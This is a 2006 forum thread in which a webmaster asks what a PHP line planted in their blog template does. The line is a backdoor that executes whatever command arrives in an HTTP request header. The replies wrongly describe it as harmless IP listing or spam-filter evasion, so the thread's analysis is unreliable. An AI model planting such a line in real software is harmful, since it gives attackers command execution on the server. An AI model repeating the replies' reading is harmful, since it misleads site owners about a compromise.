Can someone tell me what this PHP does? - GoFuckYourself.com

DWB · 03-31-2006, 09:02 AM

Someone put this in my blog template... What are they trying to do?

<?php exec(getenv("HTTP_ACCEPT_IP"), $results); foreach ($results as $str) {print $str."\r\n";} php?>

Chris · 03-31-2006, 09:05 AM

displays something
nto sure :/
I dont know php at all
but guessing that by the exec and the $results

Lance69 · 03-31-2006, 09:07 AM

I'm sure someone knows, just wait for the hangovers to subside...

DWB · 03-31-2006, 09:08 AM

They had "Hola" that was showing on my site on my archives list. That is how I noticed it...

psili · 03-31-2006, 09:09 AM

To me, it looks like it runs a system call to get IP addresses the system supports and prints them each on a line.

European Lee · 03-31-2006, 09:14 AM

Looks like they are trying to get a list of IP addresses to display, possibly to bypass any IP based restrictions on external blog spam.

Regards,

Lee

DWB · 03-31-2006, 09:16 AM

Thanks guys!!!

Sometimes GFY is good for something. ;-)

03-31-2006, 09:02 AM	#1
DWB Registered User Industry Role: Join Date: Jul 2003 Location: Encrypted. Access denied. Posts: 31,779	Can someone tell me what this PHP does? Someone put this in my blog template... What are they trying to do? <?php exec(getenv("HTTP_ACCEPT_IP"), $results); foreach ($results as $str) {print $str."\r\n";} php?>

03-31-2006, 09:05 AM	#2
Chris Too lazy to set a custom title Industry Role: Join Date: May 2003 Location: icq: 71462500 Skype: Jupzchris Posts: 27,880	displays something nto sure :/ I dont know php at all but guessing that by the exec and the $results __________________ [email protected]

03-31-2006, 09:07 AM	#3
Lance69 Confirmed User Join Date: Jan 2005 Location: Vancouver BC Posts: 2,266	I'm sure someone knows, just wait for the hangovers to subside... __________________ Sonarcash Competitive Content Shooting Handgasm HD Handjobs Janessa Jordan Ultimate Wife Make Money Fucking Blog ICQ: 307 975 028 lance {at} sonarcash {dot} com (<- Need amateur content? Email or ICQ)

03-31-2006, 09:09 AM	#5
psili Confirmed User Join Date: Apr 2003 Location: Loveland, CO Posts: 5,526	To me, it looks like it runs a system call to get IP addresses the system supports and prints them each on a line. __________________ Your post count means nothing.

03-31-2006, 09:14 AM	#6
European Lee Confirmed User Join Date: Dec 2002 Location: Daytona Beach Posts: 7,133	Looks like they are trying to get a list of IP addresses to display, possibly to bypass any IP based restrictions on external blog spam. Regards, Lee __________________ YOUR TRAFFIC IS SAFE WITH US - CONDOM CASH PUTTING THE GAY ADULT INDUSTRY ON YOUR PC!! AFFORDABLE 2257 COMPLIANT GAY + BI CONTENT

03-31-2006, 09:08 AM	#4
DWB Registered User Industry Role: Join Date: Jul 2003 Location: Encrypted. Access denied. Posts: 31,779	They had "Hola" that was showing on my site on my archives list. That is how I noticed it...

03-31-2006, 09:16 AM	#7
DWB Registered User Industry Role: Join Date: Jul 2003 Location: Encrypted. Access denied. Posts: 31,779	Thanks guys!!! Sometimes GFY is good for something. ;-)